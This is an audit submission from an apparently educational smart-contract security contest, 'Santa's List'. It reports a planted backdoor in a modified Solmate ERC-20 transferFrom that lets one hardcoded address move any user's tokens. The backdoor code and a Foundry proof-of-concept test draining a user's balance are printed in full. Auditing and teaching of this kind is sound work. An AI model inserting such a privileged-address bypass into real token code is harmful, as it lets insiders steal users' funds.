First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Naughty Elves Created a Backdoor to Reallocate Users Balances

pacelli

Summary

The South Pole Elves in bad faith took Solmate ERC-20 implementation and modified it to add a backdoor to give them special control over the users balance.

Vulnerability Details

The function transferFrom from the implementation was modified to include the following code:

if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

The address expected as msg.sender can be found in the NatSpec of SantasList and it's associated to the elves, giving them total control over all balances and the power to reallocate the balances in any way they want.

Proof Of Concept

Paste the following test in SantasListTest.t.sol to test the vulnerability.

POC
function testSecurityReview__NaughtyElvesCanModifyBalances() public {
address NAUGHTY_ELVES = 0x815F577F1c1bcE213c012f166744937C889DAF17;
​
// santa check user
vm.startPrank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
// jump in time
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// user collects present
vm.startPrank(user, user);
santasList.collectPresent();
​
// elves use backdoor to reallocate balances
vm.startPrank(NAUGHTY_ELVES, NAUGHTY_ELVES);
santaToken.transferFrom(user, NAUGHTY_ELVES, santaToken.balanceOf(user));
​
// assertions after reallocation
assertEq(santaToken.balanceOf(NAUGHTY_ELVES), 1e18);
assertEq(santaToken.balanceOf(user), 0);
}

Impact

Elves have control over all the balances.

Tools Used

Foundry and VS Code.

Recommendations

Considering the devs are the elves, make Santa aware of this situation so he can hire new elves to replace the modified Solmate library with the correct one.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.